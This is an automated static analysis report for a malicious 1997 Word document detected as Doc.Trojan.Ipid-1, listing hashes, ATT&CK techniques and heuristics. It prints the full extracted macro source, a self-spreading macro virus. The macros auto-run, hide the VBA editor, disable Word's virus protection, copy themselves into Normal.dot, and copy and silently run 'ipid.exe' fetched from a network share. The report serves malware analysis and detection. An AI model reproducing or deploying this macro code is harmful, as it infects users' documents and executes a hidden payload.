Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9d3976a435231b51…

MALICIOUS

Office (OLE)

38.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d74cabe710d2498281ec71282620e980 SHA-1: fe448e6850d809b2e5bd43b56085832036b9a2cd SHA-256: 9d3976a435231b517a18adfacebf9cf8a4d80d1c3132df4e123de68d59361fca
360 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Office document containing legacy WordBasic and VBA macros. The AutoOpen macro attempts to disable security features and execute a file named 'd.exe' using the Shell() function. This indicates a macro-based downloader designed to execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Trojan.Ipid-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ipid-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4082 bytes
SHA-256: cb23e7125bfb1ef22ad909550a7d99360e9e486f472f480f6088de316bc81d30
Detection
ClamAV: Doc.Trojan.Ipid-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "h"
Sub autoopen()
pri
End Sub
Function pri()
On Error Resume Next
Dim r1, w1, r2, r3, r4, r5, r6, p1, d1, d2, d3, e1, e2, e3, e4, e5, e6, e7, i, bar
r6 = "d.exe"
For i = 1 To Application.VBE.Windows.Count
Application.VBE.Windows(i).Visible = False
Next
i = 0
For Each bar In Application.VBE.CommandBars
i = i + 1
Application.VBE.CommandBars(i).Protection = 1
Application.VBE.CommandBars(i).Enabled = False
Next
r1 = "\\es"
Options.VirusProtection = False
Options.SaveNormalPrompt = False
r4 = "d\e$"
CommandBars(33).Controls("exibir").Controls("barras de ferramentas").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("opções...").Enabled = True
r3 = "cp"
CommandBars(33).Controls("Ferramentas").Controls("personalizar...").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("Macro").Controls("macros...").Enabled = True
r2 = "m-"
CommandBars(33).Controls("Ferramentas").Controls("Macro").Controls("Editor do Visual Basic").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("Macro").Enabled = True
r5 = "\ipi"
i = 0
For Each bar In CommandBars
i = i + 1
If (bar.NameLocal = "Caixa de ferram. de controle") Or (bar.NameLocal = "Visual Basic") Then
CommandBars(i).Protection = 1
CommandBars(i).Enabled = False
Else
CommandBars(i).Protection = 0
CommandBars(i).Enabled = True
End If
Next
p1 = r1 + r2 + r3 + r4 + r5 + r6
   e1 = ActiveDocument.VBProject.VBComponents.Count
   If e1 >= 1 Then
      If e1 >= 2 Then
          e3 = ActiveDocument.VBProject.VBComponents(2).Name
          e7 = NormalTemplate.VBProject.VBComponents(2).Name
          If MacroContainer = ActiveDocument.Name Then
             d1 = ActiveDocument.FullName
             d2 = NormalTemplate.FullName
             e5 = NormalTemplate.VBProject.VBComponents.Count
              If e5 >= 1 Then
                  If e5 >= 2 Then
                         If e7 < e3 Then copyi
                         If e7 > e3 Then copyma
                         If e7 = e3 Then End
                         FileCopy p1, "c:\windows\ipid.exe"
                         Shell "c:\windows\ipid.exe", 0
                         End
                 End If 'rodando no ativo sem modulo no normal
                        Application.OrganizerCopy d1, d2, e3, wdOrganizerObjectProjectItems
                        Application.NormalTemplate.Save
                        FileCopy p1, "c:\windows\ipid.exe"
                        Shell "c:\windows\ipid.exe", 0
                        End
              End If
          End If 'rodando no normal.dot
           If e7 < e3 Then copyi
           If e7 > e3 Then copyma
           If e7 = e3 Then End
           FileCopy p1, "c:\windows\ipid.exe"
           Shell "c:\windows\ipid.exe", 0
           End
       End If 'rodando no normal sem modulo no proj
          If e7 < e3 Then copyi
          If e7 > e3 Then copyi
          If e7 = e3 Then copyma
          FileCopy p1, "c:\windows\ipid.exe"
          Shell "c:\windows\ipid.exe", 0
          End
End If
End Function
Function copyi()
On Error Resume Next
Application.OrganizerDelete NormalTemplate.FullName, NormalTemplate.VBProject.VBComponents(2).Name, 3
Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, ActiveDocument.VBProject.VBComponents(2).Name, 3
Application.NormalTemplate.Save
End Function
Function copyma()
On Error Resume Next
Application.OrganizerDelete ActiveDocument.FullName, ActiveDocument.VBProject.VBComponents(2).Name, 3
Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, NormalTemplate.VBProject.VBComponents(2).Name, 3
Application.ActiveDocument.Save
End Function
Sub AutoClose()
pri
End Sub
Sub ViewVBCode()
End Sub
Sub ToolsMacro()
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.